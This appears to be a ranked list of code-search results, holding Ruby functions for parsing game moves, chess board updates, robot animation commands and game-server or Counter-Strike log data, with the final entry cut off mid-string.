[ { "docid": "2d507a9ad6821a4de5e275a1500c8bd2", "score": "0.6351239", "text": "def parse_move(input)\n case input.size\n when 4\n from = convert_coordinates(input[0..1])\n to = convert_coordinates(input[2..3])\n [from, to]\n when 8\n from = convert_coordinates(input[0..1])\n to = convert_coordinates(input[-2..-1])\n [from, to]\n end\n end", "title": "" }, { "docid": "2ec9751ac3604c6d42942b4567593da1", "score": "0.59661573", "text": "def move(data)\n current_user.character.move(data['direction'])\n end", "title": "" }, { "docid": "9bf4cd291357e3db157b871db4783a0b", "score": "0.5781534", "text": "def receive_move(data)\n\t\tPong.set_move(data)\n\tend", "title": "" }, { "docid": "a2e5643d3f11751f0d5a8ad4d74ff1c8", "score": "0.5593511", "text": "def raw_data_to_commands(raw_data)\n commands = []\n prev_x = nil\n prev_y = nil\n prev_theta_deg = nil\n have_first_pose = false\n \n if @options[:motion] == 'pose'\n cur_frame = @pose_frames_presend+1\n else\n cur_frame = 0\n end\n \n # todo: get this from the anim file.\n duration = 0.0306 # 33ms per frame\n\n # add empty frames to the begining of the commands array so that we can pre-send pose commands\n # the first one will be used for the coordinate system reset, the rest will be for pre-sending pose commands\n if @options[:motion] == 'pose'\n for i in 1...(@pose_frames_presend + 2)\n command = {\"frame\" => i, \"duration\" => duration, \"commands\" => {}}\n commands << command\n end\n end\n\n raw_data.sort.map do |key, state|\n\n cur_frame = cur_frame + 1\n \n pose = {}\n pose_set = {}\n \n components_main = {\n @component_eye_ring => {},\n @component_rgb_left_ear => {},\n @component_rgb_right_ear => {},\n @component_rgb_chest => {},\n @component_led_tail => {},\n @component_motor_servo_head_tilt => {},\n @component_motor_servo_head_pan => {},\n @component_sound => {}\n }\n\n if @options[:motion] == 'linang'\n components_main[@component_motion_body_linear_angular] = {}\n #elsif @options[:motion] == 'pose'\n # components_pose[@component_motion_body_pose] = {}\n end\n\n curr_x = nil\n curr_y = nil\n curr_theta_deg = nil\n\n eye_component = { \"index\" => {} }\n state.each_pair do |maya_component_index, maya_component_value|\n case maya_component_index\n when 'MoveControl_translate.translateX'\n curr_x = convert_to_robot_x(maya_component_value)\n #puts \"curx #{key} #{curr_x}\"\n when 'MoveControl_translate.translateY'\n curr_y = convert_to_robot_y(maya_component_value)\n #puts \"cury #{key} #{curr_y}\"\n when 'MoveControl_rotate.rotateZ'\n curr_theta_deg = convert_to_robot_theta(maya_component_value)\n #puts \"curz #{key} #{curr_theta_deg}\"\n when 'Head_rotate.rotateY'\n set_nested_hash_value(components_main, @component_motor_servo_head_tilt, \"degree\", -1 * maya_component_value.round(2))\n when 'Head_rotate.rotateZ'\n set_nested_hash_value(components_main, @component_motor_servo_head_pan, \"degree\", maya_component_value.round(2))\n #print(maya_component_value.round(0));\n when 'Lights_ChestRed'\n set_nested_hash_value(components_main, @component_rgb_chest, \"r\", convert_to_light_brightness(maya_component_value))\n when 'Lights_ChestGreen'\n set_nested_hash_value(components_main, @component_rgb_chest, \"g\", convert_to_light_brightness(maya_component_value))\n when 'Lights_ChestBlue'\n set_nested_hash_value(components_main, @component_rgb_chest, \"b\", convert_to_light_brightness(maya_component_value))\n when 'Lights_RightEarRed'\n set_nested_hash_value(components_main, @component_rgb_right_ear, \"r\", convert_to_light_brightness(maya_component_value))\n when 'Lights_RightEarGreen'\n set_nested_hash_value(components_main, @component_rgb_right_ear, \"g\", convert_to_light_brightness(maya_component_value))\n when 'Lights_RightEarBlue'\n set_nested_hash_value(components_main, @component_rgb_right_ear, \"b\", convert_to_light_brightness(maya_component_value))\n when 'Lights_LeftEarRed'\n set_nested_hash_value(components_main, @component_rgb_left_ear, \"r\", convert_to_light_brightness(maya_component_value))\n when 'Lights_LeftEarGreen'\n set_nested_hash_value(components_main, @component_rgb_left_ear, \"g\", convert_to_light_brightness(maya_component_value))\n when 'Lights_LeftEarBlue'\n set_nested_hash_value(components_main, @component_rgb_left_ear, \"b\", convert_to_light_brightness(maya_component_value))\n when 'Lights_Tail'\n set_nested_hash_value(components_main, @component_led_tail, \"brightness\", convert_to_light_brightness(maya_component_value))\n when 'Lights_EyeBrightness' \n eye_component[\"brightness\"] = convert_to_eye_light_brightness(maya_component_value)\n when 'Lights_One'\n value = maya_component_value == 1 ? true : false\n set_nested_hash_value(eye_component, \"index\", \"1\", value)\n when 'Lights_Two'\n value = maya_component_value == 1 ? true : false\n set_nested_hash_value(eye_component, \"index\", \"2\", value)\n when 'Lights_Three'\n value = maya_component_value == 1 ? true : false\n set_nested_hash_value(eye_component, \"index\", \"3\", value)\n when 'Lights_Four'\n value = maya_component_value == 1 ? true : false\n set_nested_hash_value(eye_component, \"index\", \"4\", value)\n when 'Lights_Five'\n value = maya_component_value == 1 ? true : false\n set_nested_hash_value(eye_component, \"index\", \"5\", value)\n when 'Lights_Six'\n value = maya_component_value == 1 ? true : false\n set_nested_hash_value(eye_component, \"index\", \"6\", value)\n when 'Lights_Seven'\n value = maya_component_value == 1 ? true : false\n set_nested_hash_value(eye_component, \"index\", \"7\", value)\n when 'Lights_Eight'\n value = maya_component_value == 1 ? true : false\n set_nested_hash_value(eye_component, \"index\", \"8\", value)\n when 'Lights_Nine'\n value = maya_component_value == 1 ? true : false\n set_nested_hash_value(eye_component, \"index\", \"9\", value)\n when 'Lights_Ten'\n value = maya_component_value == 1 ? true : false\n set_nested_hash_value(eye_component, \"index\", \"10\", value)\n when 'Lights_Eleven'\n value = maya_component_value == 1 ? true : false\n set_nested_hash_value(eye_component, \"index\", \"11\", value)\n when 'Lights_Twelve'\n value = maya_component_value == 1 ? true : false\n set_nested_hash_value(eye_component, \"index\", \"12\", value)\n when 'Lights_Sound'\n value = convert_to_sound_file_str(maya_component_value)\n set_nested_hash_value(components_main, @component_sound, \"file\", value)\n set_nested_hash_value(components_main, @component_sound, \"volume\", 0.9)\n end\n end\n\n if !curr_x.nil? && !curr_y.nil? && !curr_theta_deg.nil?\n if @options[:motion] == 'pose'\n #puts \"everything #{key} #{curr_x} #{curr_y} #{curr_theta_deg}\"\n #set_nested_hash_value(components_pose, @component_motion_body_pose, \"x\", curr_x)\n #set_nested_hash_value(components_pose, @component_motion_body_pose, \"y\", curr_y)\n #set_nested_hash_value(components_pose, @component_motion_body_pose, \"degree\", curr_theta_deg)\n pose[\"x\"] = curr_x\n pose[\"y\"] = curr_y\n pose[\"degree\"] = curr_theta_deg\n pose[\"mode\"] = 5\n pose[\"dir\"] = 2\n pose[\"time\"] = @pose_frames_presend * duration\n\n if !have_first_pose\n pose_set[\"x\"] = curr_x\n pose_set[\"y\"] = curr_y\n pose_set[\"degree\"] = curr_theta_deg\n pose_set[\"mode\"] = 4\n end\n \n else\n if !prev_x.nil? && !prev_y.nil? && !prev_theta_deg.nil?\n d_x = curr_x - prev_x\n d_y = curr_y - prev_y\n d_theta_deg = curr_theta_deg - prev_theta_deg\n d_theta_rad = d_theta_deg * @two_pi / 360\n dist_straight = sqrt((d_x * d_x) + (d_y * d_y))\n curr_theta_rad = curr_theta_deg * @two_pi / 360\n\n # detect backwards motion\n heading_x = cos(curr_theta_rad)\n heading_y = sin(curr_theta_rad)\n motion_dot_heading = (heading_x * d_x) + (heading_y * d_y)\n if motion_dot_heading < 0\n dist_straight *= -1\n end\n\n # we account for the fact that in linear/angular, the robot travels along arcs.\n # the effect is pretty small.\n # basic formula is D = (dTheta * d) / (2 * sin(dTheta / 2)).\n\n # wrap dTheta into [-PI, PI)\n d_theta_wrapped = d_theta_rad\n while d_theta_wrapped < -@pi\n d_theta_wrapped += @two_pi\n end\n while d_theta_wrapped > @pi\n d_theta_wrapped -= @two_pi\n end\n\n sin_d_theta_over_two = sin(d_theta_wrapped / 2)\n\n # method becomes unstable as d_theta approaches 0, but it approaches dist_straight.\n if sin_d_theta_over_two < 0.0001\n dist_arc = dist_straight\n else\n dist_arc = (d_theta_wrapped * dist_straight) / (2 * sin_d_theta_over_two)\n end\n\n dist_arc_scaled = dist_arc * @options[:scale]\n\n # set_nested_hash_value(components, @component_motion_body_linear_angular, \"debug: curr_theta_deg\", curr_theta_deg)\n # set_nested_hash_value(components, @component_motion_body_linear_angular, \"debug: d_theta_wrapped\", d_theta_wrapped)\n # set_nested_hash_value(components, @component_motion_body_linear_angular, \"debug: d_theta_rad\", d_theta_rad)\n # set_nested_hash_value(components, @component_motion_body_linear_angular, \"debug: sin_d_theta_over_two\", sin_d_theta_over_two)\n # set_nested_hash_value(components, @component_motion_body_linear_angular, \"debug: dist_straight\", dist_straight.round(3))\n set_nested_hash_value(components_main, @component_motion_body_linear_angular, \"linear_cm_s\", (dist_arc_scaled / duration).round(3))\n set_nested_hash_value(components_main, @component_motion_body_linear_angular, \"angular_cm_s\", (d_theta_rad / duration).round(3))\n end\n\n prev_x = curr_x\n prev_y = curr_y\n prev_theta_deg = curr_theta_deg\n end\n end\n\n components_main[@component_eye_ring] = eye_component unless eye_component[\"index\"].empty?\n components_main.delete_if { |key, values| values.empty? }\n command = {\"frame\" => cur_frame, \"duration\" => duration, \"commands\" => components_main}\n commands << command\n\n if !have_first_pose && !pose_set.empty?\n for n in 0..(@pose_set_num-1)\n commands[n][\"commands\"][@component_motion_body_pose] = pose_set\n end\n have_first_pose = true\n end\n\n frame_offset = @pose_frames_presend + 1 - (@pose_set_num - 1)\n \n if !pose.empty?\n if commands[cur_frame-frame_offset] == nil\n commands[cur_frame-frame_offset] = {\"frame\" => cur_frame-frame_offset, \"duration\" => duration, \"commands\" => {}}\n end\n commands[cur_frame-frame_offset][\"commands\"][@component_motion_body_pose] = pose\n end\n \n end\n commands\nend", "title": "" }, { "docid": "44fffb67d12b92daba85fc825f2ad192", "score": "0.5565026", "text": "def parse_movement(message)\n log \"Received movement packet: #{message.header[:op_code]}\" if RuneRb::GLOBAL[:DEBUG]\n length = message.header[:length]\n length -= 14 if message.header[:op_code] == 248\n\n steps = (length - 5) / 2\n return unless steps.positive?\n\n path = []\n first_x = message.read(:short, signed: false, mutation: :A, order: :LITTLE)\n steps.times do |itr|\n path[itr] ||= [message.read(:byte, signed: true, mutation: :STD),\n message.read(:byte, signed: true, mutation: :STD)]\n end\n\n first_y = message.read(:short, signed: false, mutation: :STD, order: :LITTLE)\n @movement[:running] = message.read(:byte, signed: false, mutation: :C) == 1\n\n positions = []\n positions << RuneRb::Game::Map::Position.new(first_x, first_y)\n steps.times do |itr|\n positions << RuneRb::Game::Map::Position.new(path[itr][0] + first_x,\n path[itr][1] + first_y)\n end\n\n push_path(positions.flatten.compact) unless positions.empty?\n end", "title": "" }, { "docid": "f01afb62a4d62727382d1913d8540cfb", "score": "0.5564472", "text": "def parse_move(move)\n [move[0]].concat(move[1..-1].split(\":\"))\n end", "title": "" }, { "docid": "0a069d6aaad448f686347c9a1c39e2cf", "score": "0.55210537", "text": "def format_move(move)\n move_action = move[0].upcase\n move_coord_1 = move[1].to_i\n move_coord_2 = move[2].to_i\n\n [move_action, [move_coord_1, move_coord_2]]\n end", "title": "" }, { "docid": "9302df56f8c743ae1ab4ad1b13366377", "score": "0.5471687", "text": "def pbGetMoveData(move_id, move_data_type = -1)\r\n Deprecation.warn_method('pbGetMoveData', 'v20', 'GameData::Move.get(move_id)')\r\n return GameData::Move.get(move_id)\r\nend", "title": "" }, { "docid": "4846c81f3d4ab3b8f277fea14032217e", "score": "0.54557884", "text": "def add_data data\n @data = [] unless @data\n \n raise \"No data provided by #{@data.inspect}\" unless data[:data] and\n data[:data].kind_of? Array\n raise \"Data supplied must be x,y pairs! \"+\n \"The data provided contained an odd set of \"+\n \"data points\" unless data[:data].length % 2 == 0\n return if data[:data].length == 0\n\n\n x = []\n y = []\n data[:data].each_index {|i|\n if i%2 == 0\n t = DateTime.parse( data[:data][i] ).to_time\n x << t.to_i\n else\n y << data[:data][i]\n end\n }\n sort( x, y )\n data[:data] = [x,y]\n @data << data\n end", "title": "" }, { "docid": "1d7bd75697227c1d4daa0db0ea99695f", "score": "0.5382194", "text": "def motorMove(ox,oy,positionArray,gl,curR,beltStepLength,mx,my,stepSecond, cellNum)\n newPos = calcnewpos(ox, oy, positionArray[0], positionArray[1], cellNum, gl)\n newStep = calcsteps(curR, beltStepLength, mx, my, newPos[0], newPos[1])\n curSpeed = calcspeed(newStep[1], stepSecond)\n \n vals = []\n vals[0] = newStep[0]\n vals[1] = curSpeed\n vals[2] = newStep[1]\n return vals\nend", "title": "" }, { "docid": "87c03db42fa2ec5ed687bf7946680e2b", "score": "0.5304312", "text": "def sc_move(m)\n Move.new([m[1].to_i, m[2].to_i], [m[4].to_i, m[5].to_i], sc_piece(m[0..2].to_sym))\nend", "title": "" }, { "docid": "61038077775b5389bf1416f80957ce25", "score": "0.52668107", "text": "def to_a \n\t\ta = []\n\t\t@moviedata.each do |line|\n\t\t\ta.push([line[0], line[1], rms(line[2], line[3]), line[3]])\n\t\tend\n\t\treturn a\n\tend", "title": "" }, { "docid": "d58e8aa7f8bb3afc75ccfddad60e4c49", "score": "0.52450436", "text": "def handle_moves(move_sequence)\n moves = move_sequence.split(' ')\n moves.map {|move| move_conversion(move)}\n end", "title": "" }, { "docid": "ec39b50b13b0c0e5f2bb02f683fb6678", "score": "0.5237813", "text": "def data=(move)\n @stack.data = move\n end", "title": "" }, { "docid": "67b2921eef23ba7fbfb64fd315858e5b", "score": "0.5233056", "text": "def parse_move\n s0 = @scanner.pos\n s1 = parse_normal_move\n s1 = parse_special_move if s1 == :failed\n if s1 == :failed\n @scanner.pos = s0\n s0 = :failed\n else\n s2 = parse_time\n s2 = nil if s2 == :failed\n s3 = parse_comments\n @reported_pos = s0\n s0 = -> (move, time, comments) do\n ret = {}\n ret['comments'] = comments unless comments.empty?\n ret['time'] = time if time\n if move['special']\n ret['special'] = move['special']\n else\n ret['move'] = move\n end\n ret\n end.call(s1, s2, s3)\n end\n s0\n end", "title": "" }, { "docid": "62dee0c21dd4b4ade0901f77ec5461c7", "score": "0.52239895", "text": "def to_move_object(args)\n self.match.moves.build(\n :as_string => self.to_coordinate,\n :x => self.x,\n :y => self.y,\n :player => args[:player],\n )\n end", "title": "" }, { "docid": "043d9925f95825274ed18ba9b64858d5", "score": "0.5221437", "text": "def interpret_data()\n\t\t\n\t\tvar = @placement.split(\" \"); #making it so it creates a new element every space\n\n\t\tfor y in 0..var.length-1 #looping through the column\n\t\t\tline = var[y]\n\t\t\t\n\t\t\t@xoffset = 0;\n\n\t\t\tfor x in 0..line.length-1 #looping through the row\n\t\t\n\t\t\t\n\t\t\t\tif(line[x] == \"Y\")\n\t\t\t\t\t@team_red = true;\n\t\t\t\t\t@xoffset = -1;\n\t\t\t\t\tid = line[6 + y * 7]\n\t\t\t\t\tputs id\n\t\t\t\t\t#create_piece(line.length,y, id);\n\t\t\t\t\tnext;\n\t\t\t\tend\n\t\t\t\t\n\n\t\t\t\t#gets the id at each coordinate\n\t\t\t\tid = line[x+=@xoffset].to_i\n\t\t\t\t\t\n\t\t\t\t#create a new piece based of the id at that coordinate\n\t\t\t\tcreate_piece(x+=@xoffset, y, id);\n\t\t\t\t\n\t\t\t\t\n\t\t\tend \n\t\t\t\n\t\tend\n\t\t\n\t\t\n\tend", "title": "" }, { "docid": "6a74b85825851ea23707813c949aa7ea", "score": "0.52128613", "text": "def parse_data(data)\n \tbegin\n \t self << data\n \trescue\n \t #do nothing\n \tend\n end", "title": "" }, { "docid": "9b06140f177a049b75c87d13157f419c", "score": "0.5191647", "text": "def parse_move(str)\n\n # If the user opts to quit, we quit.\n if str == \"q\"\n puts \"Better luck next time!\"\n @game_quit = true\n return\n end\n\n # We see if the input is in braces.\n if str[0] == \"[\" && str[-1] == \"]\"\n\n # We remove the braces and put what's in the braces into an array.\n potential_move = str[1..-2].split(',').map{|val| val.to_i}\n\n # We also check if there's only two inputs in the braces.\n if potential_move.length == 2\n\n # We need to make sure that it's both in the proper format but also that the values make sense.\n if potential_move[0] < 4 && potential_move[1] < 4 && potential_move[0] > 0 && potential_move[1] > 0\n\n # Kinda pointless but I'll puts a message if they input something like [1, 1].\n if potential_move[0] != potential_move[1]\n move(potential_move[0], potential_move[1])\n else\n puts \"Why would you even pick up a piece just to set it back down?! Try again! (But not what you just did!)\"\n end\n else\n puts \"You're trying to move columns that don't even exist! Try again!\"\n end\n else\n puts \"Wrong number of inputs! Try again!\"\n end\n else\n puts \"I can't tell what you're trying to say! Try again!\"\n end\n end", "title": "" }, { "docid": "6becfb92033e54886fea74e1e7ef74e3", "score": "0.51880115", "text": "def debug_moving_tick( seconds = 3600 ) #TODO -> Add estimated time to res result, and make all the methods CLASS methods in the Geolocation class...\n \n distance_traveled = self.speed * (seconds/3600.to_f) #KM\n return ActiveSupport::JSON.encode( Helpers::Geolocation.move( @army.location, @army.destination, distance_traveled ) )\n end", "title": "" }, { "docid": "f730bb901ea022fe35cc814e297d8864", "score": "0.5179171", "text": "def parse_move(s)\n #int from, to, i;\n\n # /* make sure the string looks like a move */\n=begin\n if (s[0] < 'a' || s[0] > 'h' ||\n s[1] < '0' || s[1] > '9' ||\n s[2] < 'a' || s[2] > 'h' ||\n s[3] < '0' || s[3] > '9')\n return -1;\n=end\n return -1 if s.size < 4\n \n [['a', 'h'], ['0', '9'], \n ['a', 'h'], ['0', '9']].each_with_index{|(min, max), i|\n return -1 unless s[i].ord.between?(min.ord, max.ord)\n }\n \n from = s[0].ord - 'a'.ord;\n from += 8 * (8 - (s[1].ord - '0'.ord));\n to = s[2].ord - 'a'.ord;\n to += 8 * (8 - (s[3].ord - '0'.ord));\n\n @first_move[1].times{|i|\n if (@gen_dat[i].m.b.from == from && @gen_dat[i].m.b.to == to)\n\n # if the move is a promotion, handle the promotion piece;\n # assume that the promotion moves occur consecutively in\n # gen_dat. \n if CCOND(gen_dat[i].m.b.bits & 32)\n case s[4]\n when 'N' then return i\n when 'B' then return i + 1;\n when 'R' then return i + 2;\n else # /* assume it's a queen */\n return i + 3;\n end\n end\n \n return i\n end\n }\n \n # didn't find the move */\n return -1;\n end", "title": "" }, { "docid": "384b9081439f8a3dde72a1e38e5683f1", "score": "0.51544094", "text": "def move_and_record( move )\n #lift your piece off the square\n @piece_last_moved_from_coord = move.from_coord\n @piece_last_moved = delete(move.from_coord) \n \n #store any captured piece and the coordinates we got them from\n if move.capture_coord\n @piece_captured = delete(move.capture_coord)\n @piece_captured_from_coord = move.capture_coord\n else\n @piece_captured = delete(move.to_coord)\n @piece_captured_from_coord = move.to_coord if @piece_captured\n end\n \n #play castling\n if(move.castled)\n kings_square = Position.new(move.to_coord)\n #the rook is 3 to the right or 4 to the left (whites view) for king/queenside\n @rook_castled_from_coord = (kings_square + [0, (kings_square.file_char=='g') ? 1 : -2]).to_sym\n @rook_castled_to_coord = (kings_square + [0, (kings_square.file_char=='g') ? -1 : 1]).to_sym\n @rook_castled = delete( rook_castled_from_coord )\n store( @rook_castled_to_coord, @rook_castled )\n end\n \n #if promotion we remove the pawn and place a new one \n if( move.promotion_piece ) \n @promoted_pawn = @piece_last_moved\n promoted_piece = Queen.new(@promoted_pawn.side)\n promoted_piece.instance_variable_set(:@which, :promoted)\n store( move.to_coord, promoted_piece )\n else\n #otherwise we just move your guy there\n store( move.to_coord, @piece_last_moved )\n end\n \n end", "title": "" }, { "docid": "b807e4744e77e8c0fcb746682de15496", "score": "0.5148107", "text": "def play_move!( m )\n $stderr.puts self.to_s\n\n raise MoveInvalid, m.errors.full_messages unless m.errors.empty?\n\n unless m.notation_inferred\n m.infer_coordinates_from_notation(self) rescue nil\n end\n\n raise MissingCoord, m.inspect unless begin\n m && m.respond_to?(:from_coord) && !m.from_coord.blank? &&\n m.respond_to?(:to_coord) && !m.to_coord.blank?\n end\n raise PieceNotFound, [m.inspect,self.inspect].join(\"\\n\") if self[m.from_coord.to_sym].nil?\n\n # locally cache this information\n from_coord = m.from_coord.to_sym\n to_coord = m.to_coord.to_sym\n captured_piece_coord = captured_piece_coord && m.captured_piece_coord.to_sym\n\n # If the move is already populated with a captured piece coordinate, use that to delete and be done\n # Otherwise, delete whats at the to_coord and populate the moves captured piece coordinate.\n if captured_piece_coord\n deleted_pieces << self.delete(captured_piece_coord)\n else\n if deceased = self.delete(to_coord)\n graveyard << deceased\n end\n end\n\n piece_moved = self.delete(from_coord)\n self[to_coord] = piece_moved\n return unless piece_moved\n\n # implement the switching of the king and rook if told to do so\n if m.castled==1\n castling_rank = to_coord.rank.to_s\n [['g', 'f', 'h'], ['c', 'd', 'a']].each do |king_file, new_rook_file, orig_rook_file|\n\tif to_coord.file == king_file \n\t rook = self.delete(:\"#{orig_rook_file}#{castling_rank}\")\n\t self[:\"#{new_rook_file}#{castling_rank}\"] = rook\n\tend\n end\n end\n\n # prevent future castling once kings moved\n case piece_moved.function \n when :king\n self.send(\"#{piece_moved.side}_kingside_castle_available=\", false)\n self.send(\"#{piece_moved.side}_queenside_castle_available=\", false)\n when :rook\n flank = piece_moved.discriminator.to_s.singularize\n self.send(\"#{piece_moved.side}_#{flank}side_castle_available=\", false)\n end\n\n # publish whether this move created an en passant option for the opponent\n ep_from_rank, ep_to_rank, ep_rank = EN_PASSANT_CONFIG[ piece_moved.side ]\n\n @is_ep = piece_moved.function == :pawn && \n ep_from_rank == m.from_coord.rank &&\n ep_to_rank == m.to_coord.rank\n\n self.en_passant_square = @is_ep ? (m.from_coord.file + ep_rank.to_s).to_sym : nil\n \n #reflect promotion\n if piece_moved && piece_moved.function == :pawn && m.to_coord.to_s.rank == piece_moved.promotion_rank\n self.promoted_piece = Queen.new(piece_moved.side, :promoted) # TODO switch\n m.promotion_choice = \"Q\"\n self.delete(m.to_coord)\n self[m.to_coord] = promoted_piece\n end\n\n m.board_after = self\n end", "title": "" }, { "docid": "692ad6c4171525e3d1b44910fcc05bce", "score": "0.5143567", "text": "def get_movement(move)\n starting_pos_index = convert_location_to_index(move[0][0], move[0][1])\n end_pos_index = convert_location_to_index(move[1][0], move[1][1])\n movement = [end_pos_index[0] - starting_pos_index[0], end_pos_index[1] - starting_pos_index[1]]\n return movement\n end", "title": "" }, { "docid": "f53b40ba4c1355741c088babc16b6654", "score": "0.51289445", "text": "def test_move1\n\t \tplayer = Playerseq.new(\"x\")\n\t \tassert_equal(4,player.move([\"x\",\"0\",\"3\",\"4\",\"5\",\"6\",\"7\",\"8\",\"9\"]))\n\t end", "title": "" }, { "docid": "f1462071fb8bcd591a138ddc556935a7", "score": "0.5125344", "text": "def retrieve_coords\n params[:move].split(\",\").map(&:to_i)\n end", "title": "" }, { "docid": "dd110d1d5058c7e380b4b2d2b0075e34", "score": "0.51242834", "text": "def actual_send(type, time, id, data)\n # Namespace support!\n prefix = \"#{@namespace}_\" unless @namespace.nil?\n # Get rid of any unwanted characters, and replace each of them with an _.\n type = type.to_s.gsub RESERVED_CHARS_REGEX, '_'\n\n # Start constructing the message to be sent to Cube over UDP.\n message = {\n type: \"#{prefix}#{type}\"\n }\n message[:time] = time.iso8601 unless time.nil?\n message[:id] = id unless id.nil?\n message[:data] = data unless data.nil?\n\n # JSONify it, log it, and send it off.\n message_str = message.to_json\n self.class.logger.debug { \"Cube: #{message_str}\" } if self.class.logger\n\n socket.send message_str, 0, @host, @port\n rescue => err\n self.class.logger.error { \"Cube: #{err.class} #{err}\" } if self.class.logger\n end", "title": "" }, { "docid": "9a78e8c24a4de485b5683e9aceb57ebb", "score": "0.5121899", "text": "def data_to_manga_data(data)\n Manga_data.new(data[0], data[1], data[3], data[4], data)\n end", "title": "" }, { "docid": "3ca502a94ebed4e48ebdaf95bac7e571", "score": "0.51178265", "text": "def parse(move)\n return move[0] - 1, move[1] - 1\n end", "title": "" }, { "docid": "547752098afd884bf695da317fabc9ca", "score": "0.51018965", "text": "def server_package_to_player_array(data)\n # /(?<count>\\d{2})(?<player>(?<id>\\d{2})(?<x>\\d{3})(?<y>\\d{3}))/\n # @console.log \"data: #{data}\"\n used_slots = net_unpack_int(data[0]) # save occupado slots\n # gamestate = data[1].to_i # save gamestate\n @flags[:gamestate] = data[1]\n # @console.log \"gamestate: \" + @flags[:gamestate]\n data = data[2..] # cut slots and gamestate off\n players = server_package_to_player_strs(used_slots, data)\n # @console.log \"players: \\n#{players}\"\n player_strs_to_objects(players)\n end", "title": "" }, { "docid": "f46a14d6db57277d4f37de5b360bf789", "score": "0.5096171", "text": "def parse_action_data(act, spell)\n case act[0]\n when /^move/i\n action_movement(act)\n when /^create/i\n action_create(act)\n when /^damage/i\n action_damage(act, spell)\n when /^screen/i\n action_screen(act)\n when /^delete/i\n action_delete(act)\n when /^animation/i\n action_animation(act, spell)\n when /^message/i\n action_message(act, spell)\n when /^movie|cine|cinema/i\n action_movie(act)\n when /^wait/i\n action_wait(act)\n when /^cleanup/i\n action_cleanup\n end\n end", "title": "" }, { "docid": "c9111ff74827a2c2eca8d5dcb575b860", "score": "0.5095719", "text": "def get_move\n [get_user_move_type, get_user_coordinates]\n end", "title": "" }, { "docid": "b053e5170f3a563c4f2dfc5dd7d3df3b", "score": "0.5095252", "text": "def movement(line)\n line.slice!(/\\[.*\\]/) # Remove the number in brackets at the start of the string\n line.slice(/\\d+/).to_i # Get the movement\n end", "title": "" }, { "docid": "325c137cbd2cda508da95dbf2106d2c0", "score": "0.50920033", "text": "def parse!(data)\n @data << data\n end", "title": "" }, { "docid": "0653b59c461717f681e2d09b9472fff4", "score": "0.50797004", "text": "def to_move_list\n # NB: we verify the expected player since our internal move format\n # does not mention the player each time.\n expected_player = \"B\"\n moves = \"\"\n if @handicap > 0\n expected_player = \"W\"\n if @handicap_stones.size != 0\n raise \"List of #{@handicap_stones.size} handicap stones given does not match the handicap number of #{@handicap}\" if @handicap_stones.size != @handicap\n moves = \"hand:#{@handicap}=#{@handicap_stones.join(\"-\")},\"\n else\n moves = \"hand:#{@handicap},\"\n end\n end\n 1.upto(@nodes.size-1) do |i|\n name = @nodes[i][0]\n value = @nodes[i][1]\n if name != \"B\" and name != \"W\"\n $log.warn(\"Unknown property #{name}[#{value}] ignored\") if name != \"C\" # comments can be ignored\n next\n end\n raise \"Move for #{expected_player} was expected and we got #{name} instead\" if name != expected_player\n moves << \"#{convert_move(value)},\"\n expected_player = (expected_player == \"B\" ? \"W\" : \"B\")\n end\n return moves.chop\n end", "title": "" }, { "docid": "dbfe1f3f26334d40bd8e16d5c3da75cb", "score": "0.50789285", "text": "def parse_last_move\n return [] if @last_move.nil?\n\n moves = @last_move.split(', ')\n moves.map! { |move| move.split(' to ') }\n moves.map! do |move|\n move.map! do |coord|\n if Board.valid_coordinate?(coord[-2..-1])\n if Board::COLUMN_TO_INDEX.key?(coord[0].to_sym)\n [Board.location_vector(coord[-2..-1])]\n else\n [Board.location_vector(coord[-2..-1]), coord[0]]\n end\n end\n end\n end\n moves.map { |move| move.reject(&:nil?) }\n end", "title": "" }, { "docid": "5e8b52fd994812ecfe2933f9b860791d", "score": "0.50727814", "text": "def sensor_data(packet)\n\t\t\tpos, vel = packet[:Pos], packet[:Vel]\n\t\t\t@pos = pos.to_v if !pos.nil?\n\t\t\t@vel = vel.to_v if !vel.nil?\n\t\tend", "title": "" }, { "docid": "a98eff7118289b684320e31056e9111c", "score": "0.5070129", "text": "def receive_data(data)\n\n # L 05/10/2000 - 12:34:56: Team \"CT\" scored \"17\" with \"0\" players\n if @options[:display_end_map] && data.gsub(/Team \"([A-Z]+)\" scored \"(\\d+)\" with \"(\\d+)\"/).count > 0\n winner, winner_score = data.match(/Team \"(.+)\" scored \"(\\d+)\" with/).captures\n content = { :type => 'end_map', :params => { :winner => get_short_team_name(winner), :score => winner_score } } \n\n # L 05/10/2000 - 12:34:56: Team \"CT\" triggered \"CTs_Win\" (CT \"3\") (T \"0\")\n elsif @options[:display_end_map] && data.gsub(/: Team \"[A-Z]+\" triggered/).count > 0\n winner, type, score_ct, score_t = data.match(/Team \"([A-Z]+)\" triggered \"([A-Za-z_]+)\" \\(CT \"(\\d+)\"\\) \\(T \"(\\d+)\"\\)/i).captures\n content = { :type => 'end_round', :params => { :score_ct => score_ct, :score_t => score_t } }\n\n # L 05/10/2000 - 12:34:56: \"Killer | Player<66><STEAM_ID_LAN><TERRORIST>\" killed \"Killed | Player<60><STEAM_ID_LAN><CT>\" with \"ak47\"\n elsif @options[:display_kills] && data.gsub(/(\\>\" killed \")/).count > 0\n killer, killer_team, killed, killed_team, weapon = data.match(/\"(.+)<\\d+><.+><([A-Z]+)>\" killed \"(.+)<\\d+><.+><([A-Z]+)>\" with \"(.+)\"/i).captures\n content = { :type => 'kill', :params => { :killer_team => get_short_team_name(killer_team), :killer => killer, :killed_team => get_short_team_name(killed_team), :killed => killed, :weapon => weapon } }\n\n # L 05/10/2000 - 12:34:56: \"Player<66><STEAM_ID_LAN><TERRORIST>\" committed suicide with \"worldspawn\" (world)\n elsif @options[:display_kills] && data.gsub(/>\" committed suicide/).count > 0\n killed = data.match(/: \"(.+)<\\d+>/).captures.first\n content = { :type => 'suicide', :params => { :killed => killed } }\n\n # L 05/10/2000 - 12:34:56: \"Killer | Player<66><STEAM_ID_LAN><CT>\" triggered \"Defused_The_Bomb\"\n elsif @options[:display_actions] && data.gsub(/<.+><.+>\" triggered \"(.+)\"$/).count > 0\n person, person_team, event = data.match(/: \"(.+)<\\d+><.+><([A-Z]+)>\" triggered \"(.+)\"/i).captures\n content = { :type => 'event', :params => { :person_team => get_short_team_name(person_team), :person => person, :event_item => event, :event_i18n => I18n.t(event.downcase)} }\n\n # L 05/10/2000 - 12:34:56: Loading map \"de_dust2\"\n elsif @options[:display_changelevel] && data.gsub(/: Loading map \"(.+)\"/).count > 0\n map = data.match(/: Loading map \"(.+)\"/i).captures.first\n content = { :type => 'loading_map', :params => { :map => map } }\n\n # L 05/10/2000 - 12:34:56: \"Player<15><STEAM_0:0:12345><TERRORIST>\" say \"gg\" 